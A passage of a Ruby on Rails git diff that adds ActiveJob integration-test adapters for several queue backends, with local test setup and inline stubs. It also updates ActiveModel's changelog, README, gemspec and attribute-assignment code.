+    ActiveJob::Base.queue_adapter = :backburner
+    Backburner.configure do |config|
+      config.logger = Rails.logger
+    end
+    unless can_run?
+      puts "Cannot run integration tests for backburner. To be able to run integration tests for backburner you need to install and start beanstalkd.\n"
+      exit
+    end
+  end
+
+  def clear_jobs
+    tube.clear
+  end
+
+  def start_workers
+    @thread = Thread.new { Backburner.work "integration-tests" } # backburner dasherizes the queue name
+  end
+
+  def stop_workers
+    @thread.kill
+  end
+
+  def tube
+    @tube ||= Beaneater::Tube.new(Backburner::Worker.connection, "backburner.worker.queue.integration-tests") # backburner dasherizes the queue name
+  end
+
+  def can_run?
+    begin
+      Backburner::Worker.connection.send :connect!
+    rescue
+      return false
+    end
+    true
+  end
+end
+
diff --git a/activejob/test/support/integration/adapters/delayed_job.rb b/activejob/test/support/integration/adapters/delayed_job.rb
new file mode 100644
index 0000000000..0b591964bc
--- /dev/null
+++ b/activejob/test/support/integration/adapters/delayed_job.rb
@@ -0,0 +1,20 @@
+require 'delayed_job'
+require 'delayed_job_active_record'
+
+module DelayedJobJobsManager
+  def setup
+    ActiveJob::Base.queue_adapter = :delayed_job
+  end
+  def clear_jobs
+    Delayed::Job.delete_all
+  end
+
+  def start_workers
+    @worker = Delayed::Worker.new(quiet: true, sleep_delay: 0.5, queues: %w(integration_tests))
+    @thread = Thread.new { @worker.start }
+  end
+
+  def stop_workers
+    @worker.stop
+  end
+end
diff --git a/activejob/test/support/integration/adapters/inline.rb b/activejob/test/support/integration/adapters/inline.rb
new file mode 100644
index 0000000000..83c38f706f
--- /dev/null
+++ b/activejob/test/support/integration/adapters/inline.rb
@@ -0,0 +1,15 @@
+module InlineJobsManager
+  def setup
+    ActiveJob::Base.queue_adapter = :inline
+  end
+
+  def clear_jobs
+  end
+
+  def start_workers
+  end
+
+  def stop_workers
+  end
+end
+
diff --git a/activejob/test/support/integration/adapters/qu.rb b/activejob/test/support/integration/adapters/qu.rb
new file mode 100644
index 0000000000..3a5b66a057
--- /dev/null
+++ b/activejob/test/support/integration/adapters/qu.rb
@@ -0,0 +1,38 @@
+module QuJobsManager
+  def setup
+    require 'qu-rails'
+    require 'qu-redis'
+    ActiveJob::Base.queue_adapter = :qu
+    ENV['REDISTOGO_URL'] = "tcp://127.0.0.1:6379/12"
+    backend = Qu::Backend::Redis.new
+    backend.namespace = "active_jobs_int_test"
+    Qu.backend  = backend
+    Qu.logger   = Rails.logger
+    Qu.interval = 0.5
+    unless can_run?
+      puts "Cannot run integration tests for qu. To be able to run integration tests for qu you need to install and start redis.\n"
+      exit
+    end
+  end
+
+  def clear_jobs
+    Qu.clear "integration_tests"
+  end
+
+  def start_workers
+    @thread = Thread.new { Qu::Worker.new("integration_tests").start }
+  end
+
+  def stop_workers
+    @thread.kill
+  end
+
+  def can_run?
+    begin
+      Qu.backend.connection.client.connect
+    rescue
+      return false
+    end
+    true
+  end
+end
diff --git a/activejob/test/support/integration/adapters/que.rb b/activejob/test/support/integration/adapters/que.rb
new file mode 100644
index 0000000000..ba7657a42a
--- /dev/null
+++ b/activejob/test/support/integration/adapters/que.rb
@@ -0,0 +1,37 @@
+module QueJobsManager
+  def setup
+    require 'sequel'
+    ActiveJob::Base.queue_adapter = :que
+    que_url = ENV['QUE_DATABASE_URL'] || 'postgres:///active_jobs_que_int_test'
+    uri = URI.parse(que_url)
+    user = uri.user||ENV['USER']
+    pass = uri.password
+    db   = uri.path[1..-1]
+    %x{#{"PGPASSWORD=\"#{pass}\"" if pass} psql -c 'drop database if exists "#{db}"' -U #{user} -t template1}
+    %x{#{"PGPASSWORD=\"#{pass}\"" if pass} psql -c 'create database "#{db}"' -U #{user} -t template1}
+    Que.connection = Sequel.connect(que_url)
+    Que.migrate!
+    Que.mode = :off
+    Que.worker_count = 1
+  rescue Sequel::DatabaseConnectionError
+    puts "Cannot run integration tests for que. To be able to run integration tests for que you need to install and start postgresql.\n"
+    exit
+  end
+
+  def clear_jobs
+    Que.clear!
+  end
+
+  def start_workers
+    @thread = Thread.new do
+      loop do
+        Que::Job.work("integration_tests")
+        sleep 0.5
+      end
+    end
+  end
+
+  def stop_workers
+    @thread.kill
+  end
+end
diff --git a/activejob/test/support/integration/adapters/queue_classic.rb b/activejob/test/support/integration/adapters/queue_classic.rb
new file mode 100644
index 0000000000..038473ccdc
--- /dev/null
+++ b/activejob/test/support/integration/adapters/queue_classic.rb
@@ -0,0 +1,33 @@
+module QueueClassicJobsManager
+  def setup
+    ENV['QC_DATABASE_URL'] ||= 'postgres:///active_jobs_qc_int_test'
+    ENV['QC_LISTEN_TIME']    = "0.5"
+    uri = URI.parse(ENV['QC_DATABASE_URL'])
+    user = uri.user||ENV['USER']
+    pass = uri.password
+    db   = uri.path[1..-1]
+    %x{#{"PGPASSWORD=\"#{pass}\"" if pass} psql -c 'drop database if exists "#{db}"' -U #{user} -t template1}
+    %x{#{"PGPASSWORD=\"#{pass}\"" if pass} psql -c 'create database "#{db}"' -U #{user} -t template1}
+    ActiveJob::Base.queue_adapter = :queue_classic
+    QC::Setup.create
+  rescue PG::ConnectionBad
+    puts "Cannot run integration tests for queue_classic. To be able to run integration tests for queue_classic you need to install and start postgresql.\n"
+    exit
+  end
+
+  def clear_jobs
+    QC::Queue.new("integration_tests").delete_all
+  end
+
+  def start_workers
+    QC::Conn.disconnect
+    @pid = fork do
+      worker = QC::Worker.new(q_name: 'integration_tests')
+      worker.start
+    end
+  end
+
+  def stop_workers
+    Process.kill 'HUP', @pid
+  end
+end
diff --git a/activejob/test/support/integration/adapters/resque.rb b/activejob/test/support/integration/adapters/resque.rb
new file mode 100644
index 0000000000..912f4bc387
--- /dev/null
+++ b/activejob/test/support/integration/adapters/resque.rb
@@ -0,0 +1,49 @@
+module ResqueJobsManager
+  def setup
+    ActiveJob::Base.queue_adapter = :resque
+    Resque.redis = Redis::Namespace.new 'active_jobs_int_test', redis: Redis.connect(url: "redis://127.0.0.1:6379/12", :thread_safe => true)
+    Resque.logger = Rails.logger
+    unless can_run?
+      puts "Cannot run integration tests for resque. To be able to run integration tests for resque you need to install and start redis.\n"
+      exit
+    end
+  end
+
+  def clear_jobs
+    Resque.queues.each { |queue_name| Resque.redis.del "queue:#{queue_name}" }
+    Resque.redis.keys("delayed:*").each  { |key| Resque.redis.del "#{key}" }
+    Resque.redis.del "delayed_queue_schedule"
+  end
+
+  def start_workers
+    @resque_thread = Thread.new do
+      w = Resque::Worker.new("integration_tests")
+      w.term_child = true
+      w.work(0.5)
+    end
+    @scheduler_thread = Thread.new do
+      Resque::Scheduler.configure do |c|
+        c.poll_sleep_amount = 0.5
+        c.dynamic = true
+        c.quiet = true
+        c.logfile = nil
+      end
+      Resque::Scheduler.master_lock.release!
+      Resque::Scheduler.run
+    end
+  end
+
+  def stop_workers
+    @resque_thread.kill
+    @scheduler_thread.kill
+  end
+
+  def can_run?
+    begin
+      Resque.redis.client.connect
+    rescue
+      return false
+    end
+    true
+  end
+end
diff --git a/activejob/test/support/integration/adapters/sidekiq.rb b/activejob/test/support/integration/adapters/sidekiq.rb
new file mode 100644
index 0000000000..6ff18fb56a
--- /dev/null
+++ b/activejob/test/support/integration/adapters/sidekiq.rb
@@ -0,0 +1,58 @@
+require 'sidekiq/cli'
+require 'sidekiq/api'
+
+module SidekiqJobsManager
+
+  def setup
+    ActiveJob::Base.queue_adapter = :sidekiq
+    unless can_run?
+      puts "Cannot run integration tests for sidekiq. To be able to run integration tests for sidekiq you need to install and start redis.\n"
+      exit
+    end
+  end
+
+  def clear_jobs
+    Sidekiq::ScheduledSet.new.clear
+    Sidekiq::Queue.new("integration_tests").clear
+  end
+
+  def start_workers
+    fork do
+      sidekiq = Sidekiq::CLI.instance
+      logfile = Rails.root.join("log/sidekiq.log").to_s
+      pidfile = Rails.root.join("tmp/sidekiq.pid").to_s
+      sidekiq.parse([ "--require", Rails.root.to_s,
+                      "--queue",   "integration_tests",
+                      "--logfile", logfile,
+                      "--pidfile", pidfile,
+                      "--environment", "test",
+                      "--concurrency", "1",
+                      "--timeout", "1",
+                      "--daemon",
+                      ])
+      require 'celluloid'
+      require 'sidekiq/scheduled'
+      Sidekiq.poll_interval = 0.5
+      Sidekiq::Scheduled.const_set :INITIAL_WAIT, 1
+      sidekiq.run
+    end
+    sleep 1
+  end
+
+  def stop_workers
+    pidfile = Rails.root.join("tmp/sidekiq.pid").to_s
+    Process.kill 'TERM', File.open(pidfile).read.to_i
+    FileUtils.rm_f pidfile
+  rescue
+  end
+
+  def can_run?
+    begin
+      Sidekiq.redis(&:info)
+      Sidekiq.logger = nil
+    rescue
+      return false
+    end
+    true
+  end
+end
diff --git a/activejob/test/support/integration/adapters/sneakers.rb b/activejob/test/support/integration/adapters/sneakers.rb
new file mode 100644
index 0000000000..875803a2d8
--- /dev/null
+++ b/activejob/test/support/integration/adapters/sneakers.rb
@@ -0,0 +1,90 @@
+require 'sneakers/runner'
+require 'sneakers/publisher'
+require 'timeout'
+
+module Sneakers
+  class Publisher
+    def safe_ensure_connected
+      @mutex.synchronize do
+        ensure_connection! unless connected?
+      end
+    end
+  end
+end
+
+
+module SneakersJobsManager
+  def setup
+    ActiveJob::Base.queue_adapter = :sneakers
+    Sneakers.configure  :heartbeat => 2,
+                        :amqp => 'amqp://guest:guest@localhost:5672',
+                        :vhost => '/',
+                        :exchange => 'active_jobs_sneakers_int_test',
+                        :exchange_type => :direct,
+                        :daemonize => true,
+                        :threads => 1,
+                        :workers => 1,
+                        :pid_path => Rails.root.join("tmp/sneakers.pid").to_s,
+                        :log => Rails.root.join("log/sneakers.log").to_s
+    unless can_run?
+      puts "Cannot run integration tests for sneakers. To be able to run integration tests for sneakers you need to install and start rabbitmq.\n"
+      exit
+    end
+  end
+
+  def clear_jobs
+    bunny_queue.purge
+  end
+
+  def start_workers
+    @pid = fork do
+      queues = %w(integration_tests)
+      workers = queues.map do |q|
+        worker_klass = "ActiveJobWorker"+Digest::MD5.hexdigest(q)
+        Sneakers.const_set(worker_klass, Class.new(ActiveJob::QueueAdapters::SneakersAdapter::JobWrapper) do
+          from_queue q
+        end)
+      end
+      Sneakers::Runner.new(workers).run
+    end
+    begin
+      Timeout.timeout(10) do
+        while bunny_queue.status[:consumer_count] == 0
+          sleep 0.5
+        end
+      end
+    rescue Timeout::Error
+      stop_workers
+      raise "Failed to start sneakers worker"
+    end
+  end
+
+  def stop_workers
+    Process.kill 'TERM', @pid
+    Process.kill 'TERM', File.open(Rails.root.join("tmp/sneakers.pid").to_s).read.to_i
+  rescue
+  end
+
+  def can_run?
+    begin
+      bunny_publisher
+    rescue
+      return false
+    end
+    true
+  end
+
+  protected
+    def bunny_publisher
+      @bunny_publisher ||= begin
+        p = ActiveJob::QueueAdapters::SneakersAdapter::JobWrapper.send(:publisher)
+        p.safe_ensure_connected
+        p
+      end
+    end
+
+    def bunny_queue
+      @queue ||= bunny_publisher.exchange.channel.queue "integration_tests", durable: true
+    end
+
+end
diff --git a/activejob/test/support/integration/adapters/sucker_punch.rb b/activejob/test/support/integration/adapters/sucker_punch.rb
new file mode 100644
index 0000000000..9c0d66b469
--- /dev/null
+++ b/activejob/test/support/integration/adapters/sucker_punch.rb
@@ -0,0 +1,6 @@
+module SuckerPunchJobsManager
+  def setup
+    ActiveJob::Base.queue_adapter = :sucker_punch
+    SuckerPunch.logger = nil
+  end
+end
diff --git a/activejob/test/support/integration/dummy_app_template.rb b/activejob/test/support/integration/dummy_app_template.rb
new file mode 100644
index 0000000000..65994d6a1c
--- /dev/null
+++ b/activejob/test/support/integration/dummy_app_template.rb
@@ -0,0 +1,21 @@
+if ENV['AJADAPTER'] == 'delayed_job'
+  generate "delayed_job:active_record", "--quiet"
+  rake("db:migrate")
+end
+
+initializer 'activejob.rb', <<-CODE
+require "#{File.expand_path("../jobs_manager.rb",  __FILE__)}"
+JobsManager.current_manager.setup
+CODE
+
+file 'app/jobs/test_job.rb', <<-CODE
+class TestJob < ActiveJob::Base
+  queue_as :integration_tests
+
+  def perform(x)
+    File.open(Rails.root.join("tmp/\#{x}"), "w+") do |f|
+      f.write x
+    end
+  end
+end
+CODE
diff --git a/activejob/test/support/integration/helper.rb b/activejob/test/support/integration/helper.rb
new file mode 100644
index 0000000000..39e41b6d29
--- /dev/null
+++ b/activejob/test/support/integration/helper.rb
@@ -0,0 +1,30 @@
+puts "*** rake aj:integration:#{ENV['AJADAPTER']} ***\n"
+
+ENV["RAILS_ENV"] = "test"
+ActiveJob::Base.queue_name_prefix = nil
+
+require 'rails/generators/rails/app/app_generator'
+
+dummy_app_path     = Dir.mktmpdir + "/dummy"
+dummy_app_template = File.expand_path("../dummy_app_template.rb",  __FILE__)
+args = Rails::Generators::ARGVScrubber.new(["new", dummy_app_path, "--skip-gemfile", "--skip-bundle",
+  "--skip-git", "--skip-spring", "-d", "sqlite3", "--skip-javascript", "--force", "--quiet",
+  "--template", dummy_app_template]).prepare!
+Rails::Generators::AppGenerator.start args
+
+require "#{dummy_app_path}/config/environment.rb"
+
+ActiveRecord::Migrator.migrations_paths = [ Rails.root.join('db/migrate').to_s ]
+require 'rails/test_help'
+
+Rails.backtrace_cleaner.remove_silencers!
+
+require_relative 'test_case_helpers'
+ActiveSupport::TestCase.include(TestCaseHelpers)
+
+JobsManager.current_manager.start_workers
+
+Minitest.after_run do
+  JobsManager.current_manager.stop_workers
+  JobsManager.current_manager.clear_jobs
+end
diff --git a/activejob/test/support/integration/jobs_manager.rb b/activejob/test/support/integration/jobs_manager.rb
new file mode 100644
index 0000000000..4df34aaeb1
--- /dev/null
+++ b/activejob/test/support/integration/jobs_manager.rb
@@ -0,0 +1,27 @@
+class JobsManager
+  @@managers = {}
+  attr :adapter_name
+
+  def self.current_manager
+    @@managers[ENV['AJADAPTER']] ||= new(ENV['AJADAPTER'])
+  end
+
+  def initialize(adapter_name)
+    @adapter_name = adapter_name
+    require_relative "adapters/#{adapter_name}"
+    extend "#{adapter_name.camelize}JobsManager".constantize
+  end
+
+  def setup
+    ActiveJob::Base.queue_adapter = nil
+  end
+
+  def clear_jobs
+  end
+
+  def start_workers
+  end
+
+  def stop_workers
+  end
+end
diff --git a/activejob/test/support/integration/test_case_helpers.rb b/activejob/test/support/integration/test_case_helpers.rb
new file mode 100644
index 0000000000..ee2f6aebea
--- /dev/null
+++ b/activejob/test/support/integration/test_case_helpers.rb
@@ -0,0 +1,48 @@
+require 'active_support/concern'
+require 'support/integration/jobs_manager'
+
+module TestCaseHelpers
+  extend ActiveSupport::Concern
+
+  included do
+    self.use_transactional_fixtures = false
+
+    setup do
+      clear_jobs
+      @id = "AJ-#{SecureRandom.uuid}"
+    end
+
+    teardown do
+      clear_jobs
+    end
+  end
+
+  protected
+
+    def jobs_manager
+      JobsManager.current_manager
+    end
+
+    def clear_jobs
+      jobs_manager.clear_jobs
+    end
+
+    def adapter_is?(adapter)
+      ActiveJob::Base.queue_adapter.name.split("::").last.gsub(/Adapter$/, '').underscore==adapter.to_s
+    end
+
+    def wait_for_jobs_to_finish_for(seconds=60)
+      begin
+        Timeout.timeout(seconds) do
+          while !job_executed do
+            sleep 0.25
+          end
+        end
+      rescue Timeout::Error
+      end
+    end
+
+    def job_executed
+      Dummy::Application.root.join("tmp/#{@id}").exist?
+    end
+end
diff --git a/activejob/test/support/job_buffer.rb b/activejob/test/support/job_buffer.rb
new file mode 100644
index 0000000000..620cb5288d
--- /dev/null
+++ b/activejob/test/support/job_buffer.rb
@@ -0,0 +1,19 @@
+module JobBuffer
+  class << self
+    def clear
+      values.clear
+    end
+
+    def add(value)
+      values << value
+    end
+
+    def values
+      @values ||= []
+    end
+
+    def last_value
+      values.last
+    end
+  end
+end
diff --git a/activejob/test/support/que/inline.rb b/activejob/test/support/que/inline.rb
new file mode 100644
index 0000000000..2e210acb6b
--- /dev/null
+++ b/activejob/test/support/que/inline.rb
@@ -0,0 +1,9 @@
+require 'que'
+
+Que::Job.class_eval do
+  class << self; alias_method :original_enqueue, :enqueue; end
+  def self.enqueue(*args)
+    args.pop if args.last.is_a?(Hash)
+    self.run(*args)
+  end
+end
diff --git a/activejob/test/support/queue_classic/inline.rb b/activejob/test/support/queue_classic/inline.rb
new file mode 100644
index 0000000000..5743d5bbb5
--- /dev/null
+++ b/activejob/test/support/queue_classic/inline.rb
@@ -0,0 +1,23 @@
+require 'queue_classic'
+
+module QC
+  class Queue
+    def enqueue(method, *args)
+      receiver_str, _, message = method.rpartition('.')
+      receiver = eval(receiver_str)
+      receiver.send(message, *args)
+    end
+
+    def enqueue_in(seconds, method, *args)
+      receiver_str, _, message = method.rpartition('.')
+      receiver = eval(receiver_str)
+      receiver.send(message, *args)
+    end
+
+    def enqueue_at(not_before, method, *args)
+      receiver_str, _, message = method.rpartition('.')
+      receiver = eval(receiver_str)
+      receiver.send(message, *args)
+    end
+  end
+end
diff --git a/activejob/test/support/sneakers/inline.rb b/activejob/test/support/sneakers/inline.rb
new file mode 100644
index 0000000000..16d9b830fa
--- /dev/null
+++ b/activejob/test/support/sneakers/inline.rb
@@ -0,0 +1,12 @@
+require 'sneakers'
+
+module Sneakers
+  module Worker
+    module ClassMethods
+      def enqueue(msg)
+        worker = self.new(nil, nil, {})
+        worker.work(*msg)
+      end
+    end
+  end
+end
diff --git a/activemodel/CHANGELOG.md b/activemodel/CHANGELOG.md
index 3d3c61ed1c..5830a00bc5 100644
--- a/activemodel/CHANGELOG.md
+++ b/activemodel/CHANGELOG.md
@@ -1,24 +1,70 @@
-*   Fix has_secure_password. `password_confirmation` validations are triggered
-    even if no `password_confirmation` is set.
+*   Assigning an unknown attribute key to an `ActiveModel` instance during initialization
+    will now raise `ActiveModel::AttributeAssignment::UnknownAttributeError` instead of
+    `NoMethodError`
 
-    *Vladimir Kiselev*
+    Example:
 
-*   `inclusion` / `exclusion` validations with ranges will only use the faster
-    `Range#cover` for numerical ranges, and the more accurate `Range#include?`
-    for non-numerical ones.
+        User.new(foo: 'some value')
+        # => ActiveModel::AttributeAssignment::UnknownAttributeError: unknown attribute 'foo' for User.
 
-    Fixes range validations like `:a..:f` that used to pass with values like `:be`.
-    Fixes #10593
+    *Eugene Gilburg*
 
-    *Charles Bergeron*
+*   Extracted `ActiveRecord::AttributeAssignment` to `ActiveModel::AttributeAssignment`
+    allowing to use it for any object as an includable module.
 
-*   Fix regression in has_secure_password. When a password is set, but a
-    confirmation is an empty string, it would incorrectly save.
+    Example:
 
-    *Steve Klabnik* and *Phillip Calvin*
+        class Cat
+          include ActiveModel::AttributeAssignment
+          attr_accessor :name, :status
+        end
 
-*   Deprecate `Validator#setup`. This should be done manually now in the validator's constructor.
+        cat = Cat.new
+        cat.assign_attributes(name: "Gorby", status: "yawning")
+        cat.name # => 'Gorby'
+        cat.status => 'yawning'
+        cat.assign_attributes(status: "sleeping")
+        cat.name # => 'Gorby'
+        cat.status => 'sleeping'
 
-    *Nick Sutterer*
+    *Bogdan Gusiev*
 
-Please check [4-0-stable](https://github.com/rails/rails/blob/4-0-stable/activemodel/CHANGELOG.md) for previous changes.
+*   Add `ActiveModel::Errors#details`
+
+    To be able to return type of used validator, one can now call `details`
+    on errors instance.
+
+    Example:
+
+        class User < ActiveRecord::Base
+          validates :name, presence: true
+        end
+
+        user = User.new; user.valid?; user.errors.details
+        => {name: [{error: :blank}]}
+
+    *Wojciech Wnętrzak*
+
+*   Change validates_acceptance_of to accept true by default.
+
+    The default for validates_acceptance_of is now "1" and true.
+    In the past, only "1" was the default and you were required to add
+    accept: true.
+
+*   Remove deprecated `ActiveModel::Dirty#reset_#{attribute}` and
+    `ActiveModel::Dirty#reset_changes`.
+
+    *Rafael Mendonça França*
+
+*   Change the way in which callback chains can be halted.
+
+    The preferred method to halt a callback chain from now on is to explicitly
+    `throw(:abort)`.
+    In the past, returning `false` in an ActiveModel or ActiveModel::Validations
+    `before_` callback had the side effect of halting the callback chain.
+    This is not recommended anymore and, depending on the value of the
+    `config.active_support.halt_callback_chains_on_return_false` option, will
+    either not work at all or display a deprecation warning.
+
+
+Please check [4-2-stable](https://github.com/rails/rails/blob/4-2-stable/activemodel/CHANGELOG.md) for previous changes.
diff --git a/activemodel/MIT-LICENSE b/activemodel/MIT-LICENSE
index 5c668d9624..3ec7a617cf 100644
--- a/activemodel/MIT-LICENSE
+++ b/activemodel/MIT-LICENSE
@@ -1,4 +1,4 @@
-Copyright (c) 2004-2013 David Heinemeier Hansson
+Copyright (c) 2004-2015 David Heinemeier Hansson
 
 Permission is hereby granted, free of charge, to any person obtaining
 a copy of this software and associated documentation files (the
diff --git a/activemodel/README.rdoc b/activemodel/README.rdoc
index a399fe9051..f6beff14e1 100644
--- a/activemodel/README.rdoc
+++ b/activemodel/README.rdoc
@@ -49,7 +49,8 @@ behavior out of the box:
         send("#{attr}=", nil)
       end
     end
-
+  
+    person = Person.new
     person.clear_name
     person.clear_age
 
@@ -78,7 +79,21 @@ behavior out of the box:
     class Person
       include ActiveModel::Dirty
 
-      attr_accessor :name
+      define_attribute_methods :name
+
+      def name
+        @name
+      end
+
+      def name=(val)
+        name_will_change! unless val == @name
+        @name = val
+      end
+
+      def save
+        # do persistence work
+        changes_applied
+      end
     end
 
     person = Person.new
@@ -88,6 +103,7 @@ behavior out of the box:
     person.changed?         # => true
     person.changed          # => ['name']
     person.changes          # => { 'name' => [nil, 'bob'] }
+    person.save
     person.name = 'robert'
     person.save
     person.previous_changes # => {'name' => ['bob, 'robert']}
@@ -109,16 +125,19 @@ behavior out of the box:
       attr_reader   :errors
 
       def validate!
-        errors.add(:name, "can not be nil") if name.nil?
+        errors.add(:name, "cannot be nil") if name.nil?
       end
 
       def self.human_attribute_name(attr, options = {})
         "Name"
       end
     end
-
+  
+    person = Person.new
+    person.name = nil
+    person.validate!
     person.errors.full_messages
-    # => ["Name can not be nil"]
+    # => ["Name cannot be nil"]
 
   {Learn more}[link:classes/ActiveModel/Errors.html]
 
@@ -128,7 +147,7 @@ behavior out of the box:
       extend ActiveModel::Naming
     end
 
-    NamedPerson.model_name        # => "NamedPerson"
+    NamedPerson.model_name.name   # => "NamedPerson"
     NamedPerson.model_name.human  # => "Named person"
 
   {Learn more}[link:classes/ActiveModel/Naming.html]
@@ -180,41 +199,41 @@ behavior out of the box:
 
 * Validation support
 
-   class Person
-     include ActiveModel::Validations
+    class Person
+      include ActiveModel::Validations
 
-     attr_accessor :first_name, :last_name
+      attr_accessor :first_name, :last_name
 
-     validates_each :first_name, :last_name do |record, attr, value|
-       record.errors.add attr, 'starts with z.' if value.to_s[0] == ?z
-     end
-   end
+      validates_each :first_name, :last_name do |record, attr, value|
+        record.errors.add attr, 'starts with z.' if value.to_s[0] == ?z
+      end
+    end
 
-   person = Person.new
-   person.first_name = 'zoolander'
-   person.valid?  # => false
+    person = Person.new
+    person.first_name = 'zoolander'
+    person.valid?  # => false
 
   {Learn more}[link:classes/ActiveModel/Validations.html]
 
 * Custom validators
+  
+    class HasNameValidator < ActiveModel::Validator
+      def validate(record)
+        record.errors[:name] = "must exist" if record.name.blank?
+      end
+    end
 
-   class ValidatorPerson
-     include ActiveModel::Validations
-     validates_with HasNameValidator
-     attr_accessor :name
-   end
-
-   class HasNameValidator < ActiveModel::Validator
-     def validate(record)
-       record.errors[:name] = "must exist" if record.name.blank?
-     end
-   end
+    class ValidatorPerson
+      include ActiveModel::Validations
+      validates_with HasNameValidator
+      attr_accessor :name
+    end
 
-   p = ValidatorPerson.new
-   p.valid?                  # =>  false
-   p.errors.full_messages    # => ["Name must exist"]
-   p.name = "Bob"
-   p.valid?                  # =>  true
+    p = ValidatorPerson.new
+    p.valid?                  # =>  false
+    p.errors.full_messages    # => ["Name must exist"]
+    p.name = "Bob"
+    p.valid?                  # =>  true
 
   {Learn more}[link:classes/ActiveModel/Validator.html]
 
@@ -243,6 +262,11 @@ API documentation is at
 
 * http://api.rubyonrails.org
 
-Bug reports and feature requests can be filed with the rest for the Ruby on Rails project here:
+Bug reports can be filed for the Ruby on Rails project here:
 
 * https://github.com/rails/rails/issues
+
+Feature requests should be discussed on the rails-core mailing list here:
+
+* https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core
+
diff --git a/activemodel/Rakefile b/activemodel/Rakefile
index 407dda2ec3..c30a559ef5 100644
--- a/activemodel/Rakefile
+++ b/activemodel/Rakefile
@@ -9,6 +9,7 @@ Rake::TestTask.new do |t|
   t.test_files = Dir.glob("#{dir}/test/cases/**/*_test.rb").sort
   t.warning = true
   t.verbose = true
+  t.ruby_opts = ["--dev"] if defined?(JRUBY_VERSION)
 end
 
 namespace :test do
diff --git a/activemodel/activemodel.gemspec b/activemodel/activemodel.gemspec
index 51655fe3da..3c6eb56296 100644
--- a/activemodel/activemodel.gemspec
+++ b/activemodel/activemodel.gemspec
@@ -5,9 +5,9 @@ Gem::Specification.new do |s|
   s.name        = 'activemodel'
   s.version     = version
   s.summary     = 'A toolkit for building modeling frameworks (part of Rails).'
-  s.description = 'A toolkit for building modeling frameworks like Active Record. Rich support for attributes, callbacks, validations, observers, serialization, internationalization, and testing.'
+  s.description = 'A toolkit for building modeling frameworks like Active Record. Rich support for attributes, callbacks, validations, serialization, internationalization, and testing.'
 
-  s.required_ruby_version = '>= 1.9.3'
+  s.required_ruby_version = '>= 2.2.0'
 
   s.license = 'MIT'
 
@@ -20,5 +20,5 @@ Gem::Specification.new do |s|
 
   s.add_dependency 'activesupport', version
 
-  s.add_dependency 'builder', '~> 3.1.0'
+  s.add_dependency 'builder', '~> 3.1'
 end
diff --git a/activemodel/examples/validations.rb b/activemodel/examples/validations.rb
deleted file mode 100644
index c94cd17e18..0000000000
--- a/activemodel/examples/validations.rb
+++ /dev/null
@@ -1,29 +0,0 @@
-require 'active_model'
-
-class Person
-  include ActiveModel::Conversion
-  include ActiveModel::Validations
-
-  validates :name, presence: true
-
-  attr_accessor :name
-
-  def initialize(attributes = {})
-    @name = attributes[:name]
-  end
-
-  def persist
-    @persisted = true
-  end
-
-  def persisted?
-    @persisted
-  end
-end
-
-person1 = Person.new
-p person1.valid? # => false
-p person1.errors.messages # => {:name=>["can't be blank"]}
-
-person2 = Person.new(name: 'matz')
-p person2.valid? # => true
diff --git a/activemodel/lib/active_model.rb b/activemodel/lib/active_model.rb
index ef4f2514be..58fe08cc11 100644
--- a/activemodel/lib/active_model.rb
+++ b/activemodel/lib/active_model.rb
@@ -1,5 +1,5 @@
 #--
-# Copyright (c) 2004-2013 David Heinemeier Hansson
+# Copyright (c) 2004-2015 David Heinemeier Hansson
 #
 # Permission is hereby granted, free of charge, to any person obtaining
 # a copy of this software and associated documentation files (the
@@ -28,6 +28,7 @@ require 'active_model/version'
 module ActiveModel
   extend ActiveSupport::Autoload
 
+  autoload :AttributeAssignment
   autoload :AttributeMethods
   autoload :BlockValidator, 'active_model/validator'
   autoload :Callbacks
@@ -48,6 +49,7 @@ module ActiveModel
 
   eager_autoload do
     autoload :Errors
+    autoload :StrictValidationFailed, 'active_model/errors'
   end
 
   module Serializers
@@ -59,9 +61,9 @@ module ActiveModel
     end
   end
 
-  def eager_load!
+  def self.eager_load!
     super
-    ActiveModel::Serializer.eager_load!
+    ActiveModel::Serializers.eager_load!
   end
 end
 
diff --git a/activemodel/lib/active_model/attribute_assignment.rb b/activemodel/lib/active_model/attribute_assignment.rb
new file mode 100644
index 0000000000..356421476c
--- /dev/null
+++ b/activemodel/lib/active_model/attribute_assignment.rb
@@ -0,0 +1,63 @@
+require 'active_support/core_ext/hash/keys'
+
+module ActiveModel
+  module AttributeAssignment
+    include ActiveModel::ForbiddenAttributesProtection
+
+    # Allows you to set all the attributes by passing in a hash of attributes with
+    # keys matching the attribute names.
+    #
+    # If the passed hash responds to <tt>permitted?</tt> method and the return value
+    # of this method is +false+ an <tt>ActiveModel::ForbiddenAttributesError</tt>
+    # exception is raised.
+    #
+    #   class Cat
+    #     include ActiveModel::AttributeAssignment
+    #     attr_accessor :name, :status
+    #   end
+    #
+    #   cat = Cat.new
+    #   cat.assign_attributes(name: "Gorby", status: "yawning")
+    #   cat.name # => 'Gorby'
+    #   cat.status => 'yawning'
+    #   cat.assign_attributes(status: "sleeping")
+    #   cat.name # => 'Gorby'
+    #   cat.status => 'sleeping'
+    def assign_attributes(new_attributes)
+      if !new_attributes.respond_to?(:stringify_keys)
+        raise ArgumentError, "When assigning attributes, you must pass a hash as an argument."
+      end
+      return if new_attributes.blank?
+
+      attributes = new_attributes.stringify_keys
+      _assign_attributes(sanitize_for_mass_assignment(attributes))
+    end
+
+    private
+
+    def _assign_attributes(attributes)
+      attributes.each do |k, v|
+        _assign_attribute(k, v)
+      end
+    end
+
+    def _assign_attribute(k, v)
+      if respond_to?("#{k}=")
+        public_send("#{k}=", v)
+      else
+        raise UnknownAttributeError.new(self, k)
+      end
+    end
+
+    # Raised when unknown attributes are supplied via mass assignment.
+    class UnknownAttributeError < NoMethodError
+      attr_reader :record, :attribute
+
+      def initialize(record, attribute)
+        @record = record
+        @attribute = attribute
+        super("unknown attribute '#{attribute}' for #{@record.class}.")
+      end
+    end
+  end
+end
diff --git a/activemodel/lib/active_model/attribute_methods.rb b/activemodel/lib/active_model/attribute_methods.rb
index f336c759d2..96be551264 100644
--- a/activemodel/lib/active_model/attribute_methods.rb
+++ b/activemodel/lib/active_model/attribute_methods.rb
@@ -14,11 +14,11 @@ module ActiveModel
   class MissingAttributeError < NoMethodError
   end
 
-  # == Active \Model Attribute Methods
+  # == Active \Model \Attribute \Methods
   #
-  # <tt>ActiveModel::AttributeMethods</tt> provides a way to add prefixes and
-  # suffixes to your methods as well as handling the creation of
-  # <tt>ActiveRecord::Base</tt>-like class methods such as +table_name+.
+  # Provides a way to add prefixes and suffixes to your methods as
